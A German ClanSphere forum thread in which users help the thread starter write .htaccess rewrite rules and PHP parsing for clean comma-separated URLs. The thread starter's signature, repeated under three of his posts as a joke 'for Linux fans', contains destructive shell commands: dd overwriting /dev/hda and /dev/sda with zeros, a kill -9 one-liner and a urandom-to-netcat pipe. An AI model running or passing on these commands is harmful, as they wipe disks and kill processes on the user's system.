News - Features - Downloads - Forum - Team - Support - Switch View: Screen
Login - Registrierung - Passwort vergessen

Antworten: 7
Seite [1]
pHaeno* ClanSphere Team


Geekboy





Beiträge: 1405
# Thema - 28.10.2008 um 01:28 Uhr
Ich hoffe doch das ich hier damit richtig bin.
Derzeit sieht meine url in etwa so aus:

http://www.max-muserdomain.de/index.php?maySYS=news/news

Wenn zum Beispiel ein Formular abgeschickt wird:

http://www.max-muserdomain.de/index.php?maySYS=news/news&step=send


Kann mr jemand erklären, wie meine htaccess aussehen muss, damit ich die URL folgendermaßen "umbauen" kann:

http://www.max-muserdomain.de/news,news
http://www.max-muserdomain.de/news,news,send


Ich habe bereits diverse Versuche hintermir und komme nicht weiter.


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443
Inaktiv
h4ze


Geekboy




Herkunft: Itzehoe
Beiträge: 1433
# Antwort: 1 - 28.10.2008 um 09:27 Uhr
ungetestet aber musst mal versuchen:

 
1.
2.
3.
4.
5.
1. / 2. / ... 
 
RewriteEngine on
RewriteRule 
^([a-z0-9]+),([a-z0-9]+),([a-z0-9]+)/?$ index.php?maySYS=$1/$2&step=$3
RewriteRule 
^([a-z0-9]+),([a-z0-9]+)/?$ index.php?maySYS=$1/$2


------------------
gembee.com - Upload your Life!
A Social Filesharing Network
"Wie YouTube, nur für alle Datei-Typen"


Inaktiv
|
pHaeno* ClanSphere Team
Thread-Ersteller


Geekboy





Beiträge: 1405
# Antwort: 2 - 30.10.2008 um 23:38 Uhr
Danke. Das klappt wunderbar. Doch nun stehe ich aber wieder vor einem anderen Problem.

http://www.max-muserdomain.de/index.php?maySYS=news/news.add

Wenn ich da nun schreibe:
http://www.max-muserdomain.de/news,news.add

dann denk er, dass .add eine endung der domain ist und sagt mir dass das gewünschte Dokument nicht vorhanden ist.

Desweiteren funktioniert nun meine Blätterfunktion nicht mehr. Diese lautet eigentlich:

http://www.max-muserdomain.de/index.php?maySYS=news/news&page=1337

Somit blätter er auf die Seite 1337 nach vorne.

Wenn ich nun aber schreibe:

http://www.max-muserdomain.de/news,news,1337

dann denkt er, ich möchte das Formular absenden. Da ich ja nun in der .htaccess festgelegt habe dass es nach dem zweiten komma zum Abenden der Formulare kommt.

Hat da jemand vielleicht eine Lösung wie man das anders machen kann, oder wo ich etwas verbesser kann?


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443


Inaktiv
|
SCHIRI ClanSphere Team


Weltmeister



Herkunft: Hamburg
Beiträge: 5299
# Antwort: 3 - 31.10.2008 um 00:36 Uhr
es empfiehlt sich, solch ein URL-Design etwas anders zu lösen, nemlich so, wie clansphere es auch macht:
die kompletten pfad hinter der url an eine php-datei über einen parameter weiterzugeben und dort dann verwarbeiten und auseinader pflücken lassen.
domain.de/news,list,sort:asc,page:5,filter:123
wird dann auf
index.php?uri=news,list,sort:asc,page:5,filter:123
weitergeleitet:
 
1.
2.
3.
1. / 2. / ... 
<?php 
$uri 
$_REQUEST['uri']; // "news,list,sort:asc,page:5,filter:123"
 
?>

dann kannst du das mit verschiedenen string-funktionen, wie explode() auseindaner nehmen und auswerten.
das ist meiner meinung nach viel einfacher und bietet mehr möglichkeiten.


------------------
www.laszlokorte.de

Zuletzt editiert von SCHIRI ClanSphere Team am 31.10.2008 um 00:38 Uhr (1x Editiert)
Inaktiv
|
pHaeno* ClanSphere Team
Thread-Ersteller


Geekboy





Beiträge: 1405
# Antwort: 4 - 09.11.2008 um 07:37 Uhr
Ich greife dieses Thema noch einmal aus eigenem Interesse auf

Ich habe das Problem mit den verschiedenen variablen nach der eigentlichen Domain mitlerweile beheben können.
Nun stellt sich aber immernoch folgendes Problem:

Wenn in der URL nun steht:

www.test.de/test,test.add

dann sagt er mir, dass er dieses modul nicht finden kann, warum auch immer denn es ist ja vorhanden.

www.test.de/test,test

funktioniert ja auch.
Ich vermute mal das er mit den punkten in den dateinamen nicht klarkommt.
Hat jemand diesbezüglich vielleicht eine Idee?


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443


Inaktiv
|
Fr33z3m4n ClanSphere Team


Medal of Honor




Herkunft: Hamm
Beiträge: 11094
# Antwort: 5 - 09.11.2008 um 10:18 Uhr
geh in die datei, wo er das replaced, und guck was er daraus macht
mit

echo $_GET['maySYS'];
und
echo $_GET['deineweiterenparameter'];

so findest am schnellsten raus.
Wie bei cs z.b.
echo $_GET['mod'];
echo $_GET['action'];


------------------
mfg
Patrick "Fr33z3m4n" Jaskulski

Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer.

Inaktiv
|
SCHIRI ClanSphere Team


Weltmeister



Herkunft: Hamburg
Beiträge: 5299
# Antwort: 6 - 09.11.2008 um 15:21 Uhr
hast du es so gelöst wie haze es gesagt oder nach meinem vorschlag?
wiel z.B. in haze verschlag ist der . gar nicht unterstützt


------------------
www.laszlokorte.de

Inaktiv
|
Fr33z3m4n ClanSphere Team


Medal of Honor




Herkunft: Hamm
Beiträge: 11094
# Antwort: 7 - 09.11.2008 um 16:01 Uhr
hab ihm das mit dem punkt hinzugefügt, läuft noch über htaccess


------------------
mfg
Patrick "Fr33z3m4n" Jaskulski

Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer.

Inaktiv
|
Antworten: 7
Seite [1]


Sie müssen sich registrieren, um zu antworten.


ClanSphere Project - Mailus - Imprint - Disclaimer - Scriptinfo